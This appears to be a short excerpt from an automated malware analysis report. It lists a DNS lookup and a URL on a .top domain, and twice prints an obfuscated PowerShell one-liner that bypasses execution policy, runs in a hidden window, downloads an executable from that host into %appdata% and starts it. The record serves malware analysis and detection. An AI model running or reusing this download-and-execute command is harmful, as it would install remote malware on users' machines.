Technical Information
- http://unityrulesyur.top/search.php as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "poWErsheLl.EXe -exeCuTIONPOliCy bypass -NOPrOfiLe -winDoWStYLe hIDDeN (nEW-OBJECT sySTem.neT.WEBcLieNt).DOwNlOaDfiLe('http://unityrulesyur.top/search.php','%aPPdaTa%.EXE');sTaRt-...
- DNS ASK un####ulesyur.top
- '<SYSTEM32>\cmd.exe' /c "poWErsheLl.EXe -exeCuTIONPOliCy bypass -NOPrOfiLe -winDoWStYLe hIDDeN (nEW-OBJECT sySTem.neT.WEBcLieNt).DOwNlOaDfiLe('http://unityrulesyur.top/search.php','%aPPdaTa%.EXE');sTaRt-...' (with hidden window)